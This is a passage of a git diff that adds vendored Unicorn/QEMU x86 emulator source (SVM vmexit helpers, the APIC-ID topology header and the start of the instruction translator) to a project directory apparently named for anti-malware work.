helper_vmexit(env, type, param); + t0 = 0; + t1 = 0; + } + if (ldub_phys(cs->as, addr + t1) & ((1 << param) << t0)) { + helper_vmexit(env, type, param); + } + } + } else { + if (env->intercept & (1ULL << (type - SVM_EXIT_INTR))) { + helper_vmexit(env, type, param); + } + } +} + +void cpu_svm_check_intercept_param(CPUX86State *env, uint32_t type, + uint64_t param) +{ + helper_svm_check_intercept_param(env, type, param); +} + +void helper_svm_check_io(CPUX86State *env, uint32_t port, uint32_t param, + uint32_t next_eip_addend) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + + if (env->intercept & (1ULL << (SVM_EXIT_IOIO - SVM_EXIT_INTR))) { + /* FIXME: this should be read in at vmrun (faster this way?) */ + uint64_t addr = ldq_phys(cs->as, env->vm_vmcb + + offsetof(struct vmcb, control.iopm_base_pa)); + uint16_t mask = (1 << ((param >> 4) & 7)) - 1; + + if (lduw_phys(cs->as, addr + port / 8) & (mask << (port & 7))) { + /* next env->eip */ + stq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.exit_info_2), + env->eip + next_eip_addend); + helper_vmexit(env, SVM_EXIT_IOIO, param | (port << 16)); + } + } +} + +/* Note: currently only 32 bits of exit_code are used */ +void helper_vmexit(CPUX86State *env, uint32_t exit_code, uint64_t exit_info_1) +{ + CPUState *cs = CPU(x86_env_get_cpu(env)); + uint32_t int_ctl; + + qemu_log_mask(CPU_LOG_TB_IN_ASM, "vmexit(%08x, %016" PRIx64 ", %016" + PRIx64 ", " TARGET_FMT_lx ")!\n", + exit_code, exit_info_1, + ldq_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, + control.exit_info_2)), + env->eip); + + if (env->hflags & HF_INHIBIT_IRQ_MASK) { + stl_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.int_state), + SVM_INTERRUPT_SHADOW_MASK); + env->hflags &= ~HF_INHIBIT_IRQ_MASK; + } else { + stl_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.int_state), 0); + } + + /* Save the VM state in the vmcb */ + svm_save_seg(env, env->vm_vmcb + offsetof(struct vmcb, save.es), + &env->segs[R_ES]); + svm_save_seg(env, env->vm_vmcb + offsetof(struct vmcb, save.cs), + &env->segs[R_CS]); + svm_save_seg(env, env->vm_vmcb + offsetof(struct vmcb, save.ss), + &env->segs[R_SS]); + svm_save_seg(env, env->vm_vmcb + offsetof(struct vmcb, save.ds), + &env->segs[R_DS]); + + stq_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, save.gdtr.base), + env->gdt.base); + stl_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, save.gdtr.limit), + env->gdt.limit); + + stq_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, save.idtr.base), + env->idt.base); + stl_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, save.idtr.limit), + env->idt.limit); + + stq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.efer), env->efer); + stq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.cr0), env->cr[0]); + stq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.cr2), env->cr[2]); + stq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.cr3), env->cr[3]); + stq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.cr4), env->cr[4]); + + int_ctl = ldl_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.int_ctl)); + int_ctl &= ~(V_TPR_MASK | V_IRQ_MASK); + int_ctl |= env->v_tpr & V_TPR_MASK; + if (cs->interrupt_request & CPU_INTERRUPT_VIRQ) { + int_ctl |= V_IRQ_MASK; + } + stl_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.int_ctl), int_ctl); + + stq_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, save.rflags), + cpu_compute_eflags(env)); + stq_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, save.rip), + env->eip); + stq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.rsp), env->regs[R_ESP]); + stq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.rax), env->regs[R_EAX]); + stq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.dr7), env->dr[7]); + stq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, save.dr6), env->dr[6]); + stb_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, save.cpl), + env->hflags & HF_CPL_MASK); + + /* Reload the host state from vm_hsave */ + env->hflags2 &= ~(HF2_HIF_MASK | HF2_VINTR_MASK); + env->hflags &= ~HF_SVMI_MASK; + env->intercept = 0; + env->intercept_exceptions = 0; + cs->interrupt_request &= ~CPU_INTERRUPT_VIRQ; + env->tsc_offset = 0; + + env->gdt.base = ldq_phys(cs->as, env->vm_hsave + offsetof(struct vmcb, + save.gdtr.base)); + env->gdt.limit = ldl_phys(cs->as, env->vm_hsave + offsetof(struct vmcb, + save.gdtr.limit)); + + env->idt.base = ldq_phys(cs->as, env->vm_hsave + offsetof(struct vmcb, + save.idtr.base)); + env->idt.limit = ldl_phys(cs->as, env->vm_hsave + offsetof(struct vmcb, + save.idtr.limit)); + + cpu_x86_update_cr0(env, ldq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, + save.cr0)) | + CR0_PE_MASK); + cpu_x86_update_cr4(env, ldq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, + save.cr4))); + cpu_x86_update_cr3(env, ldq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, + save.cr3))); + /* we need to set the efer after the crs so the hidden flags get + set properly */ + cpu_load_efer(env, ldq_phys(cs->as, env->vm_hsave + offsetof(struct vmcb, + save.efer))); + env->eflags = 0; + cpu_load_eflags(env, ldq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, + save.rflags)), + ~(CC_O | CC_S | CC_Z | CC_A | CC_P | CC_C | DF_MASK | + VM_MASK)); + + svm_load_seg_cache(env, env->vm_hsave + offsetof(struct vmcb, save.es), + R_ES); + svm_load_seg_cache(env, env->vm_hsave + offsetof(struct vmcb, save.cs), + R_CS); + svm_load_seg_cache(env, env->vm_hsave + offsetof(struct vmcb, save.ss), + R_SS); + svm_load_seg_cache(env, env->vm_hsave + offsetof(struct vmcb, save.ds), + R_DS); + + env->eip = ldq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.rip)); + env->regs[R_ESP] = ldq_phys(cs->as, env->vm_hsave + + offsetof(struct vmcb, save.rsp)); + env->regs[R_EAX] = ldq_phys(cs->as, env->vm_hsave + + offsetof(struct vmcb, save.rax)); + + env->dr[6] = ldq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.dr6)); + env->dr[7] = ldq_phys(cs->as, + env->vm_hsave + offsetof(struct vmcb, save.dr7)); + + /* other setups */ + stq_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, control.exit_code), + exit_code); + stq_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, control.exit_info_1), + exit_info_1); + + stl_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.exit_int_info), + ldl_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, + control.event_inj))); + stl_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.exit_int_info_err), + ldl_phys(cs->as, env->vm_vmcb + offsetof(struct vmcb, + control.event_inj_err))); + stl_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.event_inj), 0); + + env->hflags2 &= ~HF2_GIF_MASK; + /* FIXME: Resets the current ASID register to zero (host ASID). */ + + /* Clears the V_IRQ and V_INTR_MASKING bits inside the processor. */ + + /* Clears the TSC_OFFSET inside the processor. */ + + /* If the host is in PAE mode, the processor reloads the host's PDPEs + from the page table indicated the host's CR3. If the PDPEs contain + illegal state, the processor causes a shutdown. */ + + /* Disables all breakpoints in the host DR7 register. */ + + /* Checks the reloaded host state for consistency. */ + + /* If the host's rIP reloaded by #VMEXIT is outside the limit of the + host's code segment or non-canonical (in the case of long mode), a + #GP fault is delivered inside the host. */ + + /* remove any pending exception */ + cs->exception_index = -1; + env->error_code = 0; + env->old_exception = -1; + + cpu_loop_exit(cs); +} + +void cpu_vmexit(CPUX86State *env, uint32_t exit_code, uint64_t exit_info_1) +{ + helper_vmexit(env, exit_code, exit_info_1); +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/topology.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/topology.h new file mode 100644 index 0000000..e18ddfb --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/topology.h @@ -0,0 +1,134 @@ +/* + * x86 CPU topology data structures and functions + * + * Copyright (c) 2012 Red Hat Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TARGET_I386_TOPOLOGY_H +#define TARGET_I386_TOPOLOGY_H + +/* This file implements the APIC-ID-based CPU topology enumeration logic, + * documented at the following document: + * Intel® 64 Architecture Processor Topology Enumeration + * http://software.intel.com/en-us/articles/intel-64-architecture-processor-topology-enumeration/ + * + * This code should be compatible with AMD's "Extended Method" described at: + * AMD CPUID Specification (Publication #25481) + * Section 3: Multiple Core Calcuation + * as long as: + * nr_threads is set to 1; + * OFFSET_IDX is assumed to be 0; + * CPUID Fn8000_0008_ECX[ApicIdCoreIdSize[3:0]] is set to apicid_core_width(). + */ + +#include "unicorn/platform.h" +#include + +#include "qemu/bitops.h" + +/* APIC IDs can be 32-bit, but beware: APIC IDs > 255 require x2APIC support + */ +typedef uint32_t apic_id_t; + +/* Return the bit width needed for 'count' IDs + */ +static unsigned apicid_bitwidth_for_count(unsigned count) +{ + g_assert(count >= 1); + count -= 1; + return count ? 32 - clz32(count) : 0; +} + +/* Bit width of the SMT_ID (thread ID) field on the APIC ID + */ +static inline unsigned apicid_smt_width(unsigned nr_cores, unsigned nr_threads) +{ + return apicid_bitwidth_for_count(nr_threads); +} + +/* Bit width of the Core_ID field + */ +static inline unsigned apicid_core_width(unsigned nr_cores, unsigned nr_threads) +{ + return apicid_bitwidth_for_count(nr_cores); +} + +/* Bit offset of the Core_ID field + */ +static inline unsigned apicid_core_offset(unsigned nr_cores, + unsigned nr_threads) +{ + return apicid_smt_width(nr_cores, nr_threads); +} + +/* Bit offset of the Pkg_ID (socket ID) field + */ +static inline unsigned apicid_pkg_offset(unsigned nr_cores, unsigned nr_threads) +{ + return apicid_core_offset(nr_cores, nr_threads) + + apicid_core_width(nr_cores, nr_threads); +} + +/* Make APIC ID for the CPU based on Pkg_ID, Core_ID, SMT_ID + * + * The caller must make sure core_id < nr_cores and smt_id < nr_threads. + */ +static inline apic_id_t apicid_from_topo_ids(unsigned nr_cores, + unsigned nr_threads, + unsigned pkg_id, + unsigned core_id, + unsigned smt_id) +{ + return (pkg_id << apicid_pkg_offset(nr_cores, nr_threads)) | + (core_id << apicid_core_offset(nr_cores, nr_threads)) | + smt_id; +} + +/* Calculate thread/core/package IDs for a specific topology, + * based on (contiguous) CPU index + */ +static inline void x86_topo_ids_from_idx(unsigned nr_cores, + unsigned nr_threads, + unsigned cpu_index, + unsigned *pkg_id, + unsigned *core_id, + unsigned *smt_id) +{ + unsigned core_index = cpu_index / nr_threads; + *smt_id = cpu_index % nr_threads; + *core_id = core_index % nr_cores; + *pkg_id = core_index / nr_cores; +} + +/* Make APIC ID for the CPU 'cpu_index' + * + * 'cpu_index' is a sequential, contiguous ID for the CPU. + */ +static inline apic_id_t x86_apicid_from_cpu_idx(unsigned nr_cores, + unsigned nr_threads, + unsigned cpu_index) +{ + unsigned pkg_id, core_id, smt_id; + x86_topo_ids_from_idx(nr_cores, nr_threads, cpu_index, + &pkg_id, &core_id, &smt_id); + return apicid_from_topo_ids(nr_cores, nr_threads, pkg_id, core_id, smt_id); +} + +#endif /* TARGET_I386_TOPOLOGY_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/translate.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/translate.c new file mode 100644 index 0000000..cdfd714 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/translate.c @@ -0,0 +1,8812 @@ +/* + * i386 translation + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#include +#include +#include +#include +#include "unicorn/platform.h" +#include + +#include "qemu/host-utils.h" +#include "cpu.h" +#include "tcg-op.h" +#include "exec/cpu_ldst.h" + +#include "exec/helper-proto.h" +#include "exec/helper-gen.h" + +#include "uc_priv.h" + +#define PREFIX_REPZ 0x01 +#define PREFIX_REPNZ 0x02 +#define PREFIX_LOCK 0x04 +#define PREFIX_DATA 0x08 +#define PREFIX_ADR 0x10 +#define PREFIX_VEX 0x20 + +#ifdef TARGET_X86_64 +#define CODE64(s) ((s)->code64) +#define REX_X(s) ((s)->rex_x) +#define REX_B(s) ((s)->rex_b) +#else +#define CODE64(s) 0 +#define REX_X(s) 0 +#define REX_B(s) 0 +#endif + +#ifdef TARGET_X86_64 +# define ctztl ctz64 +# define clztl clz64 +#else +# define ctztl ctz32 +# define clztl clz32 +#endif + +#include "exec/gen-icount.h" + +typedef struct DisasContext { + /* current insn context */ + int override; /* -1 if no override */ + int prefix; + TCGMemOp aflag; + TCGMemOp dflag; + target_ulong pc; /* pc = eip + cs_base */ + int is_jmp; /* 1 = means jump (stop translation), 2 means CPU + static state change (stop translation) */ + /* current block context */ + target_ulong cs_base; /* base of CS segment */ + int pe; /* protected mode */ + int code32; /* 32 bit code segment */ +#ifdef TARGET_X86_64 + int lma; /* long mode active */ + int code64; /* 64 bit code segment */ + int rex_x, rex_b; +#endif + int vex_l; /* vex vector length */ + int vex_v; /* vex vvvv register, without 1's compliment. */ + int ss32; /* 32 bit stack segment */ + CCOp cc_op; /* current CC operation */ + CCOp last_cc_op; /* Unicorn: last CC operation. Save this to see if cc_op has changed */ + bool cc_op_dirty; + int addseg; /* non zero if either DS/ES/SS have a non zero base */ + int f_st; /* currently unused */ + int vm86; /* vm86 mode */ + int cpl; + int iopl; + int tf; /* TF cpu flag */ + int singlestep_enabled; /* "hardware" single step enabled */ + int jmp_opt; /* use direct block chaining for direct jumps */ + int mem_index; /* select memory access functions */ + uint64_t flags; /* all execution flags */ + struct TranslationBlock *tb; + int popl_esp_hack; /* for correct popl with esp base handling */ + int rip_offset; /* only used in x86_64, but left for simplicity */ + int cpuid_features; + int cpuid_ext_features; + int cpuid_ext2_features; + int cpuid_ext3_features; + int cpuid_7_0_ebx_features; + struct uc_struct *uc; + + // Unicorn + target_ulong prev_pc; /* save address of the previous instruction */ +} DisasContext; + +static void gen_eob(DisasContext *s); +static void gen_jmp(DisasContext *s, target_ulong eip); +static void gen_jmp_tb(DisasContext *s, target_ulong eip, int tb_num); +static void gen_op(DisasContext *s, int op, TCGMemOp ot, int d); + +/* i386 arith/logic operations */ +enum { + OP_ADDL, + OP_ORL, + OP_ADCL, + OP_SBBL, + OP_ANDL, + OP_SUBL, + OP_XORL, + OP_CMPL, +}; + +/* i386 shift ops */ +enum { + OP_ROL, + OP_ROR, + OP_RCL, + OP_RCR, + OP_SHL, + OP_SHR, + OP_SHL1, /* undocumented */ + OP_SAR = 7, +}; + +enum { + JCC_O, + JCC_B, + JCC_Z, + JCC_BE, + JCC_S, + JCC_P, + JCC_L, + JCC_LE, +}; + +enum { + /* I386 int registers */ + OR_EAX, /* MUST be even numbered */ + OR_ECX, + OR_EDX, + OR_EBX, + OR_ESP, + OR_EBP, + OR_ESI, + OR_EDI, + + OR_TMP0 = 16, /* temporary operand register */ + OR_TMP1, + OR_A0, /* temporary register used when doing address evaluation */ +}; + +enum { + USES_CC_DST = 1, + USES_CC_SRC = 2, + USES_CC_SRC2 = 4, + USES_CC_SRCT = 8, +}; + +/* Bit set if the global variable is live after setting CC_OP to X. */ +static const uint8_t cc_op_live[CC_OP_NB] = { +#ifdef _MSC_VER + USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, // CC_OP_DYNAMIC, /* must use dynamic code to get cc_op */ + USES_CC_SRC, // CC_OP_EFLAGS, /* all cc are explicitly computed, CC_SRC = flags */ + + USES_CC_DST | USES_CC_SRC, // CC_OP_MULB, /* modify all flags, C, O = (CC_SRC != 0) */ + USES_CC_DST | USES_CC_SRC, // CC_OP_MULW, + USES_CC_DST | USES_CC_SRC, // CC_OP_MULL, + USES_CC_DST | USES_CC_SRC, // CC_OP_MULQ, + + USES_CC_DST | USES_CC_SRC, // CC_OP_ADDB, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + USES_CC_DST | USES_CC_SRC, // CC_OP_ADDW, + USES_CC_DST | USES_CC_SRC, // CC_OP_ADDL, + USES_CC_DST | USES_CC_SRC, // CC_OP_ADDQ, + + USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, // CC_OP_ADCB, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, // CC_OP_ADCW, + USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, // CC_OP_ADCL, + USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, // CC_OP_ADCQ, + + USES_CC_DST | USES_CC_SRC | USES_CC_SRCT, // CC_OP_SUBB, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + USES_CC_DST | USES_CC_SRC | USES_CC_SRCT, // CC_OP_SUBW, + USES_CC_DST | USES_CC_SRC | USES_CC_SRCT, // CC_OP_SUBL, + USES_CC_DST | USES_CC_SRC | USES_CC_SRCT, // CC_OP_SUBQ, + + USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, // CC_OP_SBBB, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, // CC_OP_SBBW, + USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, // CC_OP_SBBL, + USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, // CC_OP_SBBQ, + + USES_CC_DST, // CC_OP_LOGICB, /* modify all flags, CC_DST = res */ + USES_CC_DST, // CC_OP_LOGICW, + USES_CC_DST, // CC_OP_LOGICL, + USES_CC_DST, // CC_OP_LOGICQ, + + USES_CC_DST | USES_CC_SRC, // CC_OP_INCB, /* modify all flags except, CC_DST = res, CC_SRC = C */ + USES_CC_DST | USES_CC_SRC, // CC_OP_INCW, + USES_CC_DST | USES_CC_SRC, // CC_OP_INCL, + USES_CC_DST | USES_CC_SRC, // CC_OP_INCQ, + + USES_CC_DST | USES_CC_SRC, // CC_OP_DECB, /* modify all flags except, CC_DST = res, CC_SRC = C */ + USES_CC_DST | USES_CC_SRC, // CC_OP_DECW, + USES_CC_DST | USES_CC_SRC, // CC_OP_DECL, + USES_CC_DST | USES_CC_SRC, // CC_OP_DECQ, + + USES_CC_DST | USES_CC_SRC, // CC_OP_SHLB, /* modify all flags, CC_DST = res, CC_SRC.msb = C */ + USES_CC_DST | USES_CC_SRC, // CC_OP_SHLW, + USES_CC_DST | USES_CC_SRC, // CC_OP_SHLL, + USES_CC_DST | USES_CC_SRC, // CC_OP_SHLQ, + + USES_CC_DST | USES_CC_SRC, // CC_OP_SARB, /* modify all flags, CC_DST = res, CC_SRC.lsb = C */ + USES_CC_DST | USES_CC_SRC, // CC_OP_SARW, + USES_CC_DST | USES_CC_SRC, // CC_OP_SARL, + USES_CC_DST | USES_CC_SRC, // CC_OP_SARQ, + + USES_CC_DST | USES_CC_SRC, // CC_OP_BMILGB, /* Z,S via CC_DST, C = SRC==0; O=0; P,A undefined */ + USES_CC_DST | USES_CC_SRC, // CC_OP_BMILGW, + USES_CC_DST | USES_CC_SRC, // CC_OP_BMILGL, + USES_CC_DST | USES_CC_SRC, // CC_OP_BMILGQ, + + USES_CC_DST | USES_CC_SRC, // CC_OP_ADCX, /* CC_DST = C, CC_SRC = rest. */ + USES_CC_SRC | USES_CC_SRC2, // CC_OP_ADOX, /* CC_DST = O, CC_SRC = rest. */ + USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, // CC_OP_ADCOX, /* CC_DST = C, CC_SRC2 = O, CC_SRC = rest. */ + + 0, // CC_OP_CLR, /* Z set, all other flags clear. */ +#else + [CC_OP_DYNAMIC] = USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, + [CC_OP_EFLAGS] = USES_CC_SRC, + [CC_OP_MULB ... CC_OP_MULQ] = USES_CC_DST | USES_CC_SRC, + [CC_OP_ADDB ... CC_OP_ADDQ] = USES_CC_DST | USES_CC_SRC, + [CC_OP_ADCB ... CC_OP_ADCQ] = USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, + [CC_OP_SUBB ... CC_OP_SUBQ] = USES_CC_DST | USES_CC_SRC | USES_CC_SRCT, + [CC_OP_SBBB ... CC_OP_SBBQ] = USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, + [CC_OP_LOGICB ... CC_OP_LOGICQ] = USES_CC_DST, + [CC_OP_INCB ... CC_OP_INCQ] = USES_CC_DST | USES_CC_SRC, + [CC_OP_DECB ... CC_OP_DECQ] = USES_CC_DST | USES_CC_SRC, + [CC_OP_SHLB ... CC_OP_SHLQ] = USES_CC_DST | USES_CC_SRC, + [CC_OP_SARB ... CC_OP_SARQ] = USES_CC_DST | USES_CC_SRC, + [CC_OP_BMILGB ... CC_OP_BMILGQ] = USES_CC_DST | USES_CC_SRC, + [CC_OP_ADCX] = USES_CC_DST | USES_CC_SRC, + [CC_OP_ADOX] = USES_CC_SRC | USES_CC_SRC2, + [CC_OP_ADCOX] = USES_CC_DST | USES_CC_SRC | USES_CC_SRC2, + [CC_OP_CLR] = 0, +#endif +}; + +static inline void gen_jmp_im(DisasContext *s, target_ulong pc); + +static void set_cc_op(DisasContext *s, CCOp op) +{ + int dead; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 cpu_cc_op = tcg_ctx->cpu_cc_op; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + TCGv cpu_cc_src2 = *(TCGv *)tcg_ctx->cpu_cc_src2; + TCGv cpu_cc_srcT = *(TCGv *)tcg_ctx->cpu_cc_srcT; + + if (s->cc_op == op) { + return; + } + + /* Discard CC computation that will no longer be used. */ + dead = cc_op_live[s->cc_op] & ~cc_op_live[op]; + if (dead & USES_CC_DST) { + tcg_gen_discard_tl(tcg_ctx, cpu_cc_dst); + } + if (dead & USES_CC_SRC) { + tcg_gen_discard_tl(tcg_ctx, cpu_cc_src); + } + if (dead & USES_CC_SRC2) { + tcg_gen_discard_tl(tcg_ctx, cpu_cc_src2); + } + if (dead & USES_CC_SRCT) { + tcg_gen_discard_tl(tcg_ctx, cpu_cc_srcT); + } + + if (op == CC_OP_DYNAMIC) { + /* The DYNAMIC setting is translator only, and should never be + stored. Thus we always consider it clean. */ + s->cc_op_dirty = false; + } else { + /* Discard any computed CC_OP value (see shifts). */ + if (s->cc_op == CC_OP_DYNAMIC) { + tcg_gen_discard_i32(tcg_ctx, cpu_cc_op); + } + s->cc_op_dirty = true; + } + s->cc_op = op; +} + +static void gen_update_cc_op(DisasContext *s) +{ + if (s->cc_op_dirty) { + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 cpu_cc_op = tcg_ctx->cpu_cc_op; + + tcg_gen_movi_i32(tcg_ctx, cpu_cc_op, s->cc_op); + s->cc_op_dirty = false; + } +} + +static void fpu_update_ip(CPUX86State *env, target_ulong pc) +{ + env->fpip = pc; +} + +#ifdef TARGET_X86_64 + +#define NB_OP_SIZES 4 + +#else /* !TARGET_X86_64 */ + +#define NB_OP_SIZES 3 + +#endif /* !TARGET_X86_64 */ + +#if defined(HOST_WORDS_BIGENDIAN) +#define REG_B_OFFSET (sizeof(target_ulong) - 1) +#define REG_H_OFFSET (sizeof(target_ulong) - 2) +#define REG_W_OFFSET (sizeof(target_ulong) - 2) +#define REG_L_OFFSET (sizeof(target_ulong) - 4) +#define REG_LH_OFFSET (sizeof(target_ulong) - 8) +#else +#define REG_B_OFFSET 0 +#define REG_H_OFFSET 1 +#define REG_W_OFFSET 0 +#define REG_L_OFFSET 0 +#define REG_LH_OFFSET 4 +#endif + +/* In instruction encodings for byte register accesses the + * register number usually indicates "low 8 bits of register N"; + * however there are some special cases where N 4..7 indicates + * [AH, CH, DH, BH], ie "bits 15..8 of register N-4". Return + * true for this special case, false otherwise. + */ +static inline bool byte_reg_is_xH(int x86_64_hregs, int reg) +{ + if (reg < 4) { + return false; + } +#ifdef TARGET_X86_64 + if (reg >= 8 || x86_64_hregs) { + return false; + } +#endif + return true; +} + +/* Select the size of a push/pop operation. */ +static inline TCGMemOp mo_pushpop(DisasContext *s, TCGMemOp ot) +{ + if (CODE64(s)) { + return ot == MO_16 ? MO_16 : MO_64; + } else { + return ot; + } +} + +/* Select only size 64 else 32. Used for SSE operand sizes. */ +static inline TCGMemOp mo_64_32(TCGMemOp ot) +{ +#ifdef TARGET_X86_64 + return ot == MO_64 ? MO_64 : MO_32; +#else + return MO_32; +#endif +} + +/* Select size 8 if lsb of B is clear, else OT. Used for decoding + byte vs word opcodes. */ +static inline TCGMemOp mo_b_d(int b, TCGMemOp ot) +{ + return b & 1 ? ot : MO_8; +} + +/* Select size 8 if lsb of B is clear, else OT capped at 32. + Used for decoding operand size of port opcodes. */ +static inline TCGMemOp mo_b_d32(int b, TCGMemOp ot) +{ + return b & 1 ? (ot == MO_16 ? MO_16 : MO_32) : MO_8; +} + +static void gen_op_mov_reg_v(TCGContext *s, TCGMemOp ot, int reg, TCGv t0) +{ + TCGv **cpu_regs = (TCGv **)s->cpu_regs; + + switch(ot) { + case MO_8: + if (!byte_reg_is_xH(s->x86_64_hregs, reg)) { + tcg_gen_deposit_tl(s, *cpu_regs[reg], *cpu_regs[reg], t0, 0, 8); + } else { + tcg_gen_deposit_tl(s, *cpu_regs[reg - 4], *cpu_regs[reg - 4], t0, 8, 8); + } + break; + case MO_16: + tcg_gen_deposit_tl(s, *cpu_regs[reg], *cpu_regs[reg], t0, 0, 16); + break; + case MO_32: + /* For x86_64, this sets the higher half of register to zero. + For i386, this is equivalent to a mov. */ + tcg_gen_ext32u_tl(s, *cpu_regs[reg], t0); + break; +#ifdef TARGET_X86_64 + case MO_64: + tcg_gen_mov_tl(s, *cpu_regs[reg], t0); + break; +#endif + default: + tcg_abort(); + } +} + +static inline void gen_op_mov_v_reg(TCGContext *s, TCGMemOp ot, TCGv t0, int reg) +{ + TCGv **cpu_regs = (TCGv **)s->cpu_regs; + + if (ot == MO_8 && byte_reg_is_xH(s->x86_64_hregs, reg)) { + tcg_gen_shri_tl(s, t0, *cpu_regs[reg - 4], 8); + tcg_gen_ext8u_tl(s, t0, t0); + } else { + tcg_gen_mov_tl(s, t0, *cpu_regs[reg]); + } +} + +static inline void gen_op_movl_A0_reg(TCGContext *s, int reg) +{ + TCGv cpu_A0 = *(TCGv *)s->cpu_A0; + TCGv **cpu_regs = (TCGv **)s->cpu_regs; + + tcg_gen_mov_tl(s, cpu_A0, *cpu_regs[reg]); +} + +static inline void gen_op_addl_A0_im(TCGContext *s, int32_t val) +{ + TCGv cpu_A0 = *(TCGv *)s->cpu_A0; + + tcg_gen_addi_tl(s, cpu_A0, cpu_A0, val); +#ifdef TARGET_X86_64 + tcg_gen_andi_tl(s, cpu_A0, cpu_A0, 0xffffffff); +#endif +} + +#ifdef TARGET_X86_64 +static inline void gen_op_addq_A0_im(TCGContext *s, int64_t val) +{ + TCGv cpu_A0 = *(TCGv *)s->cpu_A0; + + tcg_gen_addi_tl(s, cpu_A0, cpu_A0, val); +} +#endif + +static void gen_add_A0_im(DisasContext *s, int val) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; +#ifdef TARGET_X86_64 + if (CODE64(s)) + gen_op_addq_A0_im(tcg_ctx, val); + else +#endif + gen_op_addl_A0_im(tcg_ctx, val); +} + +static inline void gen_op_jmp_v(TCGContext *s, TCGv dest) +{ + tcg_gen_st_tl(s, dest, s->cpu_env, offsetof(CPUX86State, eip)); +} + +static inline void gen_op_add_reg_im(TCGContext *s, TCGMemOp size, int reg, int32_t val) +{ + TCGv cpu_tmp0 = *(TCGv *)s->cpu_tmp0; + TCGv **cpu_regs = (TCGv **)s->cpu_regs; + + 